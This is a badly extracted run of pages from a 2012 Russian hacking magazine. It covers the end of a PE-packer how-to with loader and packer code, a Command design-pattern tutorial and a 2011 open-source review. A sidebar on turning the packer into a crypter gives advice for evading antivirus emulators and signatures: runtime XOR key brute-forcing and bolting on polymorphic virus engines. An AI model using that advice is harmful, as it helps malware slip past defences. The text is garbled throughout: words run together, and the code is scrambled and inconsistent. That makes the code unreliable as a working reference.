КОДИНГЕСЛИ БЫ МЫ ИСПОЛЬЗОВАЛИГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ,ТО НАМ ТАКЖЕ НАДО БЫЛОБЫ ОБЪЕДИНИТЬ С КОДОМСЕКЦИЮ .DATA• Там же указываем приоритет размера над скоростью (флаг /Os).• В разделе «Создание кода» выключаем исключения С++, мы ихне используем.• Проверка переполнения буфера нам тоже не нужна (/GS-). Этоштука хорошая, но не в нашем случае.В свойствах линкера (компоновщика):• Отключаем к чертям «Манифест». Он большой, и из-за него взагрузчике создается секция .rsrc, которая нам совершенно ненужна. Вообще, каждая лишняя секция в PE-файле — это минимум512 совершенно ненужных байт, спасибо выравниванию.• Отключаем создание отладочной информации.• Лезем во вкладку «Дополнительно». Выключаем «Внесениеслучайности в базовый адрес» (/DYNAMICBASE:NO), иначе линкерсоздаст секцию релоков (.reloc).• Указываем базовый адрес. Выберем какой-нибудь нестандартныйповыше, например 0x02000000. Именно это значение будетвозвращать GetModuleHandle(NULL) в загрузчике. Можно егодаже захардкодить.• Указываем нашу точку входа, а не CRT-шную: /ENTRY:WinMain.Вообще, мы привыкли это делать директивой pragma прямо изкода, но раз уж залезли в свойства, то можно и тут.Остальные настройки для линкера задаем непосредственно изкода:#pragma comment(linker,"/MERGE:.rdata=.text")Здесь мы объединили секцию .rdata, в которой содержатсяданные, доступные только для чтения (строки, таблица импортаи т. п.), с секцией кода .text. Если бы мы использовали глобальныепеременные, то нам также надо было бы объединить с кодомсекцию .data.#pragma comment(linker,"/MERGE:.data=.text")// К данным из .data нужен доступ на запись,// а не только на чтение и выполнение#pragma comment(linker,"/SECTION:.text,EWR")Всего перечисленного хватит, чтобы получить лоадер размеромв 1,5 Кб.УПАКОВЩИКНам остается разработать консольную утилиту, которая будет сжиматьотданные ей файлы и прицеплять к лоадеру. Первое, что онадолжна делать по описанному в начале статьи алгоритму, — этосчитывать файл в массив. Задача, с которой справится и школьник:HANDLE hFile = CreateFile(argv[1], GENERIC_READ,FILE_SHARE_READ, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);DWORD dwImageSize = GetFileSize(hFile, 0);LPBYTE lpImage = new BYTE[dwImageSize],lpCompressedImage = new BYTE[dwImageSize];DWORD dwReaded; ReadFile(hFile, lpImage,dwImageSize, &dwReaded, 0);CloseHandle(hFile);Далее наш пакер должен сжать полученный файл. Мы не будемпроверять, действительно ли это PE-файл, корректные ли у негозаголовки и т. п., — всё оставляем на совести пользователя, сразусжимаем. Для этого воспользуемся функциями RtlCompressBufferи RtlGetCompressionWorkSpaceSize. Первую мы уже описали выше— она сжимает буфер, вторая же нужна, чтобы вычислить объемпамяти, необходимой для работы сжимающего движка. Будемсчитать, что обе функции мы уже динамически подключили (как и взагрузчике), остается только их запустить:DWORD format =COMPRESSION_FORMAT_LZNT1|COMPRESSION_ENGINE_STANDARD;DWORD dwCompressedSize, dwBufferWsSize, dwFragmentWsSize;RtlGetCompressionWorkSpaceSize(format, &dwBufferWsSize, &dwFragmentWsSize);LPBYTE workspace = new BYTE [dwBufferWsSize];RtlCompressBuffer(format, // тип сжатия и движокlpImage,// массив для сжатияdwImageSize,// его размерlpCompressedImage, // буфер для результатаdwImageSize,// его размер4096, // размер кусков, не важен&dwCompressedSize, // указатель на дворд для размера// результатаworkspace);// буфер для работыВ результате у нас есть сжатый буфер и его размер, можноприкрутить их к загрузчику. Чтобы это сделать, нужно для началаскомпилированный код нашего загрузчика встроить в упаковщик.Самый удобный способ засунуть его в программу — это воспользоватьсяутилитой bin2h (www.deadnode.org/sw/bin2h/). Она конвертнетлюбой бинарник в удобный сишный хедер, все данные в нембудут выглядеть как-то так:ПЕРЕДЕЛЫВАЕМ В КРИПТОРСобственно, от криптора нашпакер отличает совсем немногое:отсутствие функции шифрования ипротивоэмуляционных приемов. Самоепростое, что можно с ходу сделать, этодобавить xor всего образа сразу послераспаковки в загрузчике. Но, чтобыэмуляторы антивирусов подавились, этогонедостаточно. Нужно как-то усложнитьзадачу. Например, не прописывать ключxor’а в теле загрузчика. То есть загрузчикне будет знать, каким ключом ему надорасшифровывать код, он будет егоперебирать в определенных нами рамках. Этоможет занять какое-то время, которое есть упользователя, в отличие от антивируса.Также ключ можно сделать зависимым откакой-нибудь неэмулируемой функции илиструктуры. Только их еще найти надо.Чтобы код загрузчика не палилсясигнатурно, можно прикрутить к упаковщикукакие-нибудь продвинутые вирусныедвижки для генерации мусора и всяческоговидоизменения кода, благо их в Сети навалом.098ХАКЕР 02 /157/ 2012


HOW-TO: PE-пакерunsigned int loader_size = 1536;unsigned char loader[] = {0x4d,0x5a,0x00,0x00,0x01,0x00,0x00, ...Скармливаем ей файл с нашим лоадером и получаем всё необходимоедля дальнейших извращений. Теперь, если придерживатьсяалгоритма, описанного в начале статьи, мы должныприцепить к загрузчику сжатый образ. Здесь нам с Волкомпридется вспомнить 90-е и свое вирмейкерское прошлое. Дело втом, что внедрение данных или кода в сторонний PE-файл — эточисто вирусная тема. Организуется внедрение большим количествомразных способов, но наиболее тривиальные и популярные— это расширение последней секции или добавление своейсобственной. Добавление, на наш взгляд, чревато потерями привыравнивании, поэтому, чтобы встроить сжатый образ в нашзагрузчик, мы расширим ему (загрузчику) последнюю секцию.Вернее, единственную секцию — мы же избавились от всеголишнего ;).Алгоритм действий будет такой:• Находим единственную секцию (.text) в загрузчике.• Изменяем ее физический размер, то есть размер на диске(SizeOfRawData). Он должен быть равен сумме старого размераи размера сжатого образа и при этом выравнен в соответствиис файловым выравниванием (FileAlignment).• Изменяем виртуальный размер памяти (Misc.VirtualSize), прибавляяк нему размер сжатого образа.• Изменяем размер всего образа загрузчика (OptionalHeader.SizeOfImage) по древней формуле [виртуальный размер последнейсекции] + [виртуальный адрес последней секции],не забывая выравнивать значение по FileAlignment.• Копируем сжатый образ в конец секции.Тут есть небольшая хитрость. Дело в том, что наша студияделает виртуальный размер (Misc.VirtualSize) секции с кодом(.text) равным реальному невыравненному размеру кода, то естьуказывает размер меньше физического. А значит, есть шанссэкономить до 511 байт.То есть так бы мы записали данные после кучи выравнивающихнулей, а зная фишку, можно записаться поверх этих нулей.Вот как все наши мысли будут выглядеть в коде:Расширение секции кода// Создаем копию образа нашего загрузчика с запасом попамятиPBYTE pbLoaderCopy =new BYTE[loader_size + dwCompressedSize + 0x1000];memcpy(pbLoaderCopy, (LPBYTE)&loader, loader_size);// Определяем его заголовкиPIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pbLoaderCopy;PIMAGE_NT_HEADERS nt =MakePtr(PIMAGE_NT_HEADERS, pbLoaderCopy, dos->e_lfanew);// Расширяемая секцияPIMAGE_SECTION_HEADER text = IMAGE_FIRST_SECTION(nt);// Копируем сжатый образ в конец секции поверх нулейmemcpy(&pbLoaderCopy[text->PointerToRawData + text->Misc.VirtualSize],lpCompressedImage, dwCompressedSize);// Фиксим физический размер, учитывая фишку с Misc.VirtualSizetext->SizeOfRawData =ALIGN(text->Misc.VirtualSize + dwCompressedSize,nt->OptionalHeader.FileAlignment);// Фиксим виртуальный (а на самом деле реальный) размерtext->Misc.VirtualSize += dwCompressedSize;// Фиксим размер образаНаш упаковщик сжал notepad.exe лучше, чем UPX!nt->OptionalHeader.SizeOfImage =ALIGN(test->Misc.VirtualSize + test->VirtualAddress,nt->OptionalHeader.FileAlignment);// Вычисляем размер получившегося файлаDWORD dwNewFileSize = pSections->SizeOfRawData +test->PointerToRawData;О, мы едва не забыли заменить метки 0xDEADBEEF и0xBEEFCACE, оставленные в загрузчике, на реальные значения!0xBEEFCACE у нас меняется на размер сжатого образа, а0xDEADBEEF — на его абсолютный адрес. Адрес образа вычисляетсяпо формуле [адрес образа] + [виртуальный адрессекции] + [смещение образа относительно начала секции].Следует отметить, что замену надо производить еще до обновлениязначения Misc.VirtualSize, иначе полученный в результатефайл не заработает.Ищем и заменяем метки с помощью очень простого цикла:for (int i = 0; i < simple_packer_size; i++)if (*(DWORD*)(&pbLoaderCopy[i]) == 0xBEEFCACE)*(DWORD*)(&pbLoaderCopy[i]) = dwCompressedSize;else if (*(DWORD*)(&pbLoaderCopy[i]) == 0xDEADBEEF)*(DWORD*)(&pbLoaderCopy[i]) =nt->OptionalHeader.ImageBase +text->VirtualAddress +text->Misc.VirtualSize;Вот, собственно, и всё. Теперь в памяти у нас есть упакованныйи готовый к работе файл, достаточно сохранить его на диске с помощьюфункций CreateFile/WriteFile.ВЫВОДЫЕсли сравнивать эффективность сжатия нашего упаковщика с UPXна примере notepad.exe — мы выигрываем примерно 1 Кб: 46 592байта у нас против 48 128 у UPX. Однако наш пакер далеко не совершенен.И это очень заметно.Дело в том, что мы сознательно проигнорировали такуюважную вещь, как перенос ресурсов. Полученный в результатесжатия файл потеряет иконку! Реализовать недостающую функциюпредстоит тебе самому. Благодаря полученным из этогоматериала знаниям, никаких сложностей у тебя с этим делом невозникнет. zХАКЕР 02 /157/ 2012 099


КОДИНГdeeonis (deeonis@gmail.com)Паттерн«Команда»УНИФИЦИРУЕМ ИНТЕРФЕЙСЫВЫПОЛНЕНИЯ КОМАНДБольшая часть современногоПО разрабатывается группамипрограммистов. Кто-то отвечаетза пользовательский интерфейс, ктотоза ядро, а кто-то за дополнительныемодули. Чтобы работа всех этих людейне пропала даром, нужно грамотнообъединить разные части проекта,не забыв при этом о возможном егорасширении. Для этого нам пригодитсяпаттерн проектирования «Команда»,который инкапсулирует в себеисполнителя задачи и ее условия.100ХАКЕР 02 /157/ 2012


Паттерн «Команда»авай представим, что мы работаем в компании, котораяпишет сложный многокомпонентный софт. Проект узкоспециализированныйи имеет много разнообразных модулей,Дколичество которых может со временем расширяться. Наша задачасостоит в том, чтобы написать гибкую и удобную систему горячихклавиш для этой программы. Набор возможных сочетаний ограничиваетсяхоткеями от до , а также включает в себякомбинацию ctrl-z для отмены действия.Казалось бы, всё просто: накодил большой блок switch, которыйпри нажатии разных сочетаний кнопок вызывает ту или инуюфункцию какого-либо модуля, и радуйся. Но, во-первых, такойподход не отличается гибкостью. Когда проект пополнится новымимодулями или hotkeys, нам придется менять код этого раздутогооператора ветвления, из-за чего он впоследствии раздуется ещебольше. А во-вторых, начальство большими красными буквами написало,что у пользователя должна быть возможность переназначитьэти горячие клавиши. Таким образом, жестко забить командыв код switch у нас точно не выйдет.Взглянув на код модулей проекта и списки их команд, которыеможно присвоить хоткеям, мы еще больше убеждаемся, что придетсяизрядно помучиться, прежде чем мы придумаем более-менеерабочую архитектуру всего этого.Интерфейсы модулей, доступные для обращения через HotKeysclass Calculator{public:void runCalc();void closeCalc();}class Printer{public:void printDocument();void printImage();void printEmail();}class Browser{public:void runBrowser();void closeBrowser();}Для такой изоляции нам нужно определить объект команды,а следовательно, и соответствующий интерфейс. Он достаточнопрост и определяет всего один метод execute(), который долженвыполнять метод какого-либо из модулей.Интерфейс объекта «Команды»class Command{public:void execute() = 0;}Для определения конкретного объекта мы просто объявляемновый класс, который наследует интерфейс Command,и определяем его метод execute(). Допустим, мы хотим создатькоманду, запускающую калькулятор. Для этого мы создадимкласс RunCalcCommand, который будет наследовать интерфейсCommand, и переопределим execute() для вызова метода runCalc()модуля Calculator.Команда запуска калькулятораclass RunCalcCommand: public Command{Calculator *calc;public:RunCalcCommand(Calculator *excalc){calc = excalc;}}void execute(){calc->runCalc();}Если внимательно присмотреться к коду команды, то можнозаметить, что в конструкторе класса RunCalcCommand передаетсяуказатель на модуль Calculator. Это сделано для большей гибкости.В будущем у нас может появиться класс ModernCalculator, вызывающийпродвинутую версию расчетной программы. Используякомпозицию, то есть не фиксируя исполнителя жестко в коде,// И дальше много всяких разных классовПАТТЕРН «КОМАНДА»Отбросив лирику, перейдем к изучению паттерна «Команда», которыйдолжен помочь нам в этом нелегком деле. Для начала следуетразобраться, что мы имеем. У нас есть множество модулей с самымиразнообразными API. Также у нас есть окошко, в котором пользовательможет выбрать из списка одну из команд, предоставляемых модулями,и закрепить ее за определенным сочетанием клавиш.Формально выражаясь, обработчик нажатий клавиатуры — этоклиент, API-функции модулей, вызываемые с помощью горячихклавиш, — это задачи, а модули, предоставляющие эти задачи,— это исполнители. Окошко с настройками hotkeys представляетсобой некий посредник между клиентом и исполнителем,скрывающий все детали выполняемых операций. Такая структурапозволяет полностью отделить клиент от исполнителя, то естьпользователь понятия не имеет, какой модуль работает при нажатиитой или иной комбинации клавиш и что он делает. И это оченьхорошо, так как чем лучше изолированы друг от друга части кода,тем надежней работает программа.Пример кода на JavaХАКЕР 02 /157/ 2012 101


КОДИНГмы увеличиваем изолированность кода, что в будущем позволитсэкономить время.Теперь нужно связать команду с хоткеем. Для этого можносоздать массив указателей на объекты класса Command. Размермассива будет равен количеству поддерживаемых горячих клавиш.Каждый элемент массива команд сопоставляется с определеннымхоткеем. В нашем случае для этого можно преобразовать значениекнопки, которая вместе с Ctrl составляет какое-либо из возможныхсочетаний, в числовое значение. Если бы мы использовали сочетания,например, от ctrl-a до ctrl-k, то нам бы потребовался немногодругой подход.Получив код нажатого сочетания клавиш и преобразовав егов соответствующий индекс для массива команд, мы можем смеловызывать метод execute() объекта, указатель на который находитсяв нужной ячейке массива.Назначение команды на hotkey и ее запуск// Код инициализации команды и хоткеяconst int comCount = 10;Command* commands[comCount];Calculator *calc = new Calculator();commands[0] = new RunCalcCommand(calc);// Код в обработчике нажатий клавиатуры// Получаем нажатые клавишиhotkey = catchHotKey();// Преобразовываем их в индекс и запускаем командуint index = hotkey2index(hotkey);commands[index]->execute();Всё довольно-таки просто. Можно определить еще нескольконаследников Command, которые будут выполнять определенныедействия, и связать их с горячими клавишами. Такая архитектурапозволяет полностью отделить клиент от исполнителей. Обработчикклавиатуры понятия не имеет, какой модуль обрабатывает командуи что именно он делает, а модули, в свою очередь, не подозревают,что обращение к ним осуществляется с помощью hotkeys,а не каким-то другим способом.ОТМЕНА КОМАНДЫВроде бы всё хорошо, но мы совсем забыли про отмену. Сочетаниеклавиш ctrl-z должно откатывать действие последней команды.Реализовать отмену довольно просто, хотя на первый взгляд можетпоказаться, что это совсем не так. Для этого мы немного измениминтерфейс Command.Класс Command, поддерживающий отменуclass Command{public:}{}calc->runCalc();void undo(){calc->closeCalc();}Мы просто добавили метод undo(), который должен бытьпереопределен в классах-наследниках. Программист сам решает,какую именно функцию модуля будет использовать метод отмены.Так, метод undo() для RunCalcCommand будет обращаться к функцииcloseCalc() модуля Calculator. Нам также потребуется немногоподправить код обработчика клавиатуры.Обработчик клавиатуры с поддержкой отмены// Код инициализации команды и хоткеяconst int comCount = 10;Command* commands[comCount];Command *lastCommand = new NoCommand();Calculator *calc = new Calculator();commands[0] = new RunCalcCommand(calc);// Код в обработчике нажатий клавиатуры// Получаем нажатые клавишиHotKey *hotkey = catchHotKey();// Если это отмена, то вызываем соответствующий методif (hotkey->str() == "ctrl-z"){}lastCommand->undo();// Обработка остальных сочетанийЗдесь мы просто запоминаем в переменной lastCommandуказатель на последнюю использованную команду и при нажатииctrl-z вызываем соответствующий метод. Дополнительно мы прибегаемк небольшому трюку, используя объект пустой командыNoCommand. Код этого класса выглядит так:Пустая команда NoCommandclass NoCommand: public Command{public:}void execute() = 0;void undo() = 0;class RunCalcCommand: public Command{Calculator *calc;public:RunCalcCommand(Calculator *excalc){calc = excalc;}void execute()Wikipedia про паттерн «Команда».102ХАКЕР 02 /157/ 2012


Паттерн «Команда»}void execute() {};void undo() {};ClientInvokerCommandExecute()Такие объекты-заглушки используются довольно часто. Онинужны, чтобы уменьшить количество проверок нулевого указателя.Если бы lastCommand был равен NULL, то перед вызовом методаundo() нам пришлось бы проверять корректность значения этогоуказателя, что нежелательно, так как однажды мы можем забытьэто сделать, в результате чего программа с грохотом упадет. Такиеже объекты-заглушки рекомендуется использовать и для остальныххоткеев, которым не назначены соответствующие команды.Кстати, код обработчика клавиатуры можно модифицироватьтак, чтобы он поддерживал отмену не только последней операции,но и вообще всех цепочек выполненных команд. Для этого вместопростого указателя на последнюю команду следует использоватьстек. При обработке какого-либо хоткея в стек будет добавлятьсяуказатель на соответствующую команду. Таким образом, мы получимполную историю вызовов команд, что позволит нам последовательновсе отменить при помощи ctrl-z.МАКРОКОМАНДЫМакросы — одно из величайших изобретений человечества, помогающееему экономить тонны времени. Наш паттерн позволяетреализовывать макрокоманды всего лишь с помощью несколькихдополнительных строк кода. Для начала определим класс, отвечающийза логику группового выполнения операций.Макрокомандаclass MacroCommand: public Command{Command *commands;int comCount;public:}MacroCommand(Command *comArray, int elemCount){commands = comArray;comCount = elemCount;}void execute(){}for (int i = 0; i < comCount; i++){}commands[i]->execute();void undo(){for (int i = 0; i < comCount; i++){}}commands[i]->undo();Как видно, класс MacroCommand является наследникомCommand и переопределяет всё те же методы execute и undo. В интерфейсеот обычной команды он отличается лишь конструктором.Этот класс принимает не указатель на исполняющий модуль, а массивуказателей на простые команды. Код execute() просто проходитпо элементам массива и вызывает каждый из них. Так же ведетДиаграмма классов паттернаReceiverAction()себя и undo(). Обработчик клавиатуры при обращении к объектукоманды понятия не имеет, макрос это или обычная единичнаяоперация, — главное, что все они предоставляют функции execute()и undo().РАСШИРЕННЫЕ ВОЗМОЖНОСТИПАТТЕРНА «КОМАНДА»Наш паттерн можно использовать не только для обработки горячихсочетаний клавиш. С помощью него можно организовывать очередизапросов. Допустим, что у нас есть пул потоков, который долженвыполнять некоторые задания. Все задания представляют собойобъекты, реализующие уже знакомый нам интерфейс Command.Команды выстраиваются в очередь, к которой последовательнообращаются потоки. Они забирают команды из этой очереди и запускаютих методы execute(). Потокам не важно, что делают этиобъекты — главное, чтобы они поддерживали вызов execute().Команды можно сохранять на жестком диске и восстанавливатьих оттуда. Для этого следует немного расширить их базовыйинтерфейс.Command с поддержкой сохранения и загрузкиclass Command{public:void execute() = 0;void undo() = 0;void load() = 0;void store() = 0;}ConcreteCommandExecute()statereceiver->Action();Метод load() предназначен для сохранения команды в журнале,а store() — для ее восстановления оттуда. Код этих методов можетиспользовать механизмы сериализации языка программирования,если таковые в нем есть. Такая функциональность нужна для работыс большими объемами данных, которые невозможно сохранятьпосле совершения с ними каждого действия. При сбое программымы сможем загрузить сохраненные команды и последовательноприменить их к имеющейся копии данных для приведения этихданных в актуальное состояние.ЗАКЛЮЧЕНИЕС помощью паттерна «Команда» нам удалось полностью отделитьразношерстные модули-исполнители от клиента — обработчикаклавиатуры. Если в будущем в программе появятся новые модули,мы сможем легко добавить соответствующие команды и назначитьим горячие клавиши. Это будет простое, изящное и эффективноерешение. zХАКЕР 02 /157/ 2012 103


UNIXOIDЮрий «Adept» Видинеев (adeptg@gmail.com)Победыи пораженияopen source — 2011САМЫЕ ВАЖНЫЕДОСТИЖЕНИЯВ МИРЕ OPENSOURCEИ ПРОГНОЗЫНА БУДУЩЕЕWWWkernelnewbies.org/LinuxChanges— подробныйchangelog всехверсий Linux.Вариант логотипаLinux 3.1. Жаль,не принялиДля мира open source 2011 годстал годом патентов и взломов.С одной стороны, Microsoft и Oracleзатаскали крупные компании по судамза нарушения каких-то спорныхпатентов, с другой стороны, ресурсымажорных опенсорсных проектов одинза другим подверглись взлому: appdb.winehq.org, wiki.php.net, mysql.com,sourceforge.net, kernel.org и linux.com.104ХАКЕР 02 /157/ 2012


Победы и поражения open source — 2011LINUXПальму первенства в списке самых популярныхопенсорсных проектов из года в годудерживает Linux. Думаю, не сильно ошибусь,если предположу, что он установлен болеечем на полумиллиарде устройств. Главным событиемв области разработки ядра в 2011 годустала смена нумерации. Вместо версии, котораядолжна была выйти под номером 2.6.40,в середине прошлого года вышла версия3.0. Никаких особых новшеств (кроме вродекак официального ухода от Big Kernel Lock),которые могли бы оправдать смену нумерации,не было, просто Линусу показалось, что сорокрелизов ветки 2.6 — это слишком много и порачто-то менять. Теперь первая цифра в номеререлиза будет меняться не только в случае появлениярадикальных нововведений (часто ломающихобратную совместимость), но и черезкаждые сорок релизов (при текущей скоростиразработки цифра в очередной раз сменитсяпримерно через десять лет).В прошлом году зарелизились версии 2.6.37–2.6.39 и 3.0–3.1. В любом релизе основнаячасть (если мерить в строчках кода) измененийкасается добавления или улучшениядрайверов для тех или иных устройств. Всеизменения перечислять не имеет смысла,поэтому приведу те из них, которые заслуживаютвнимания:• Новый драйвер для Intel GMA500 (когда-тодовольно широко использовался в нетбукахвместе с Intel Atom Z-серии). Раньшенормальный драйвер было сложно сделатьиз-за лицензионных соглашений: в отличиеот железок, которые Intel разработалас нуля, Intel GMA500, по сути, представляетсобой PowerVR SGX 535 от ImaginationTechnologies. Сейчас драйвер всё равнооставляет желать лучшего, но его потихонькупилят.• Поддержка секторов размером более 512байт в libata (например, 4 Кб, как во многихсовременных винтах).• Поддержка видеокарт с интерфейсом USBи USB2VGA-переходников (для подключениямоников через USB).• Поддержка новых процессорных архитектур:UniCore-32 (разработан и достаточноактивно используется в Китае), 64-bit Tilera(процессоры с очень большим количествомядер — до 100 штук, — довольно часто встречающиесяв роутерах, файерволах, базовыхстанциях высокоскоростных сетей сотовойGNOME 3.2 в Fedora 16Добро пожаловать в Debian 6связи) и OpenRISC (открытый процессорс производительностью примерно на уровнеARM10).• Поддержка технологии NFC (Near FieldCommunication), служащей для обменаданными на очень небольшом расстоянии(около 10 см). Основная сфера примененияна сегодняшний день — различные системыэлектронных платежей (например, в той жеGoogle Wallet).• Многочисленные улучшения, касающиесяработы на SSD (в частности, в dm-cryptи ext4).• Поддержка таких специфических устройств,как Microsoft Kinect и Nintendo Wii Remote.• Существенные изменения в DRM-модулях(Direct Rendering Manager, не путатьс Digital rights management) от Intel, Radeonи Nouveau. Для всех чипов Intel увеличенапроизводительность (особенно для последнегопоколения — Sandy Bridge) и уменьшенопотребление энергии. Также добавленаподдержка еще не выпущенных процессоровсемейства Ivy Bridge и всех последнихвидеокарт Radeon и Nouveau. Проведенаоптимизация для различных чипов: так,в некоторых тестах NVIDIA удалось добитьсядвукратного роста производительности.Ни один релиз не обошелся без существенныхизменений в подсистеме виртуализации:• В KVM теперь можно запускать виртуальныемашины на виртуальной машине (вложеннаявиртуализация).• Поддержка Xen Dom0 (хост-режим) наконецтопоявилась и в ванильном ядре. И это оченьрадует, так как разработчики некоторыхдистрибутивов (в частности, Debian) собиралисьуже отказаться от поддержи Xen.Кроме того, добавлены патчи для измененияколичества ОЗУ гостевых систем на лет»и проброса (pass through) устройств PCIв гостевые системы.• В механизме cgroups (который использу-ется, например, LXC — системой виртуализацииуровня ОС) появилась возможностьвыставлять лимиты на запись или чтениеданных (в байтах в секунду или IOPS'ах).• Серьезно оптимизированы виртуализированныеокружения (особенно сетевыеподсистемы).Крупных изменений, которым подверглисьфайловые системы, насчитывается не много:• Многообещающая Btrfs научилась прозрачносжимать данные на дисках по алгоритмуLZO. Тесты показывают его существенноепревосходство над прежним методомzlib, а для некоторых операций и над темиметодами, которые вообще не используюткомпрессию.• Также в Btrfs добавилась автоматическаядефрагментация (опция монтирования «-oautodefrag»).• В SquashFS, которая широко используетсяна LiveCD, добавлена поддержка формата XZдля сжатия данных.В сетевой подсистеме появились следующиефичи:• Accel-pptp — реализация PPTP/PPPoE/L2TP-сервера и PPTP-клиента, работающихна уровне ядра. По разным данным, они повышаютпроизводительность минимум в двараза по сравнению с решениями, работающимив user-space. Кстати, разработчик —наш соотечественник.• Протокол маршрутизации B.A.T.M.A.N.(Better Approach To Mobile AdhocNetworking), предназначенный для meshсетей(сети, где каждый хост связан с сетьючерез соседние хосты).• Новая реализация кода поддержки iSCSItarget.• Возможность монтировать DFS-ресурсы(Distributed File System) Windows 2008.• Возможность привязывать к сетевому интерфейсувсе адреса произвольной подсети.ХАКЕР 02 /157/ 2012 105


UNIXOIDTOP10 дистрибутивов по версии Distrowatch• В состав ядра включен ipset — компонентnetfilter, предназначенный для обработкибольших списков IP/MAC-адресов и TCP/UDP-портов.• Функция Wake on WLAN для беспроводногоадаптера.Для обычных десктопов тоже появилась параважных нововведений:• С целью повышения интерактивностипланировщик задач получил возможностьоперировать группами процессов (а не отдельнымипроцессами), которые объединеныпо session ID. Таким образом, теперьзапуск большого количества потоков makeне повесит браузер. Чтобы включить этуфункцию, следует записать «1» в /proc/sys/kernel/sched_autogroup_enabled.• Добавлены специальные таймеры, позволяющиевыводить ОС из спящего режимав заданное время.Параллельно с ванильным ядром обновляютсятакже патчи, которые пока в него не входят.В ветке «-rt» (Realtime) ветке, котораяпревращает Linux в ОС реального времени,появились патчи для Linux 3.0 (предыдущиепатчи базировались на версии 2.6.33). Сильнодоработанные новые патчи затрагивают почтив два раза меньше файлов, что позволяетнадеяться на скорое слияние веток. Для последнегостабильного Linux 3.1 также вышелпатч pf-kernel, который не только включаетв себя обычный планировщик процессов BFS,планировщик ввода-вывода BFQ и системугибернации TuxOnIce, но и снижает энергопотреблениедо уровня Linux 2.6.37 (о чем многописали на phoronix.com). В соответствиис принципом Release early, release often новыеверсии Linux выходят в среднем четыре разав год. Это нравится конечным пользователям,но не устраивает компании, производящиеустройства под управлением Linux, поэтомуLinux Foundation в 2011 году запустила программуLong Term Support Initiative (LTSI). Этапрограмма предусматривает выпуск обновленийбезопасности и фиксов ошибок (а также,возможно, бэкпортирование некоторых фич).DESKTOP ENVIRONMENTВообще, цифра три была довольно популярнав прошлом году среди мажорных релизов. Так,с задержкой примерно на год вышел Gnome 3.0.Основное нововведение — интерфейс, кардинальноотличающийся от интерфейса Gnome2. Далеко не все пользователи приняли егос восторгом (например, Торвальдс сказал, чтоGnome3 невозможно использовать, и он подождетна XFCE, пока появится форк Gnome2).Помимо нового интерфейса, появились следующиефичи:• Переделано единое окно Control Center длянастройки всех параметров системы.• В Empathy появилась функция блокировкиспама, Evince обзавелся возможностьюсоздавать закладки, Eye of GNOME теперьподдерживает плагины.В версии Gnome 3.2 разработчики попыталисьисправить некоторые недочеты и добавилиновые фичи:• Тесная интеграция с различными webсервисами:в календаре поддерживаетсяGoogle Calendar, а в программе для работыс документами — Google Docs.• Система управления цветовыми профилямии виртуальная клавиатура.• Оптимизация для использования на планшетах.• Поддержка SIP в Empathy.• Поддержка Apple Filing Protocol для доступак файлам на ОС от Apple.У Gnome3 есть один несомненный плюс —LibreOffice 3.4.1 из дистрибутива Ubuntu «Oneiric Ocelot»проcтота кастомизации внешнего вида с помощьюплагинов, написанных на JavaScriptи CSS. На сайте extensions.gnome.orgможно найти и установить прямо из браузера(правда, пока поддерживается только Firefoxсо специальным плагином) большое количестводополнений.После выхода Gnome3 поддержка Gnome2прекратилась, но нашлись энтузиасты, которыесобираются развивать форк старого Gnome подназванием Mate Desktop Environment (MDE).KDE (которой в прошлом году, кстати, исполнилось15 лет) свою революцию ужепережила. В ближайшем будущем новая покане планируется, разработчики просто потихонькупилят четвертую ветку. Вышло двеверсии — 4.6 и 4.7. Самые интересные фичи,которые в них появились:• Поддержка OpenGL ES 2.0 в Kwin, чтопозволяет запускать KDE на мобильныхустройствах. Код самого Kwin был местамисерьезно оптимизирован.• Проект Plasma Active — интерфейс, предназначенныйдля устройств с сенсорнымиэкранами.• Развитие механизма комнат (Activities), в результатекоторого упростилось добавлениефайла или приложения в определеннуюActivity (с помощью контекстного меню рядомс заголовком окна) и появилась возможностьзапускать определенные приложенияпри переключении на Activity.• Новые плагины (для работы с SQL и длявзаимодействия с GDB) для текстовогоредактора Kate.• Из Gwenview и Ksnapshot теперь можнолегко выгрузить изображения во внешниесервисы.106ХАКЕР 02 /157/ 2012


Победы и поражения open source — 2011• Отказ от использования HAL.• Поддержка Zeitgeist (механизм для отслеживанияактивности пользователя).• Существенно ускорена работа Nepomuk.• Интеграция VPN и NetworkManager 0.9с поддержкой 3G.• Перевод всех компонентов Kontact Suiteна Akonadi.• KDM теперь умеет взаимодействоватьс Grub, что позволяет перезагрузиться в любойпункт Grub прямо из KDM.• Поддержка Python в Kdevelop.• Функция распознавания лиц в каталогизаторефотографий digiKam (к примеру, дляавтоматической расстановки тегов).Тем не менее, как бы ни был хорош KDE4,довольно много поклонников еще осталосьу KDE3, точнее, уже у его форка Trinity, которыйвполне нормально развивается, потихонькупереползая на Qt4.Также обновились многие связанные с KDEпроекты:• Вышел ownCloud 2 — свободный аналогDropbox, написанный на LAMP и позволяющийустановить серверную часть на своемхосте.• Necessitas (порт Qt на Android) обновлялсянесколько раз за год, однако пока остаетсяв статусе alpha.ДИСТРИБУТИВЫКаждый год количество дистрибутивов Linuxнеуклонно растет: появляются новые, обновляютсястарые.Так, в начале 2011 года один из самых старыхи уважаемых дистрибутивов, Debian, порадовалнас новым релизом под номером 6 (кодовоеимя Squeeze). Основные нововведения:• Использование Grub2 по умолчанию.• Параллельный запуск (с учетом зависимостей)init-скриптов при старте.• Прекращена поддержка звуковой подсистемыOSS.• Улучшена поддержка IPv6.• Dpkg научился понимать формат архивов XZ,стал быстрее и больше не нуждается в Perlдля работы.• Количество пакетов в репозиториях превысило29 тысяч. Согласно приведеннойразработчиками статистике, около 63 % всехLinux-дистрибутивов основано на пакетнойбазе Debian.• Новые версии всего подряд — Linux 2.6.32(из которого убраны все несвободные прошивки),GCC 4.4.5, Xen 4.0.1, X.Org 7.5, KDE SC 4.4.5,GNOME 2.30, Xfce 4.6, OpenOffice.org 3.2.1.• Интеграция ConsoleKit (управление сессиями)и PolicyKit (предоставление расширенныхправ доступа).• Полная поддержка DNSSEC.• ISO-образы инсталляторов теперь гибридные,благодаря чему их можно записатьна флешку с помощью простого dd.• Debian GNU/kFreeBSD — версия на ядреFreeBSD. Доступны 32- и 64-разрядныесборки.Linux Mint 12• Сайт backports.org, на котором можно найтипакеты с новыми версиями ПО для старыхрелизов, признан официальным сервисоми переехал на backports.debian.org.Новые версии Debian появляются редко,поэтому выход каждой превращается в большоесобытие (шутка ли — через 18 лет созданиядистрибутива вышла только 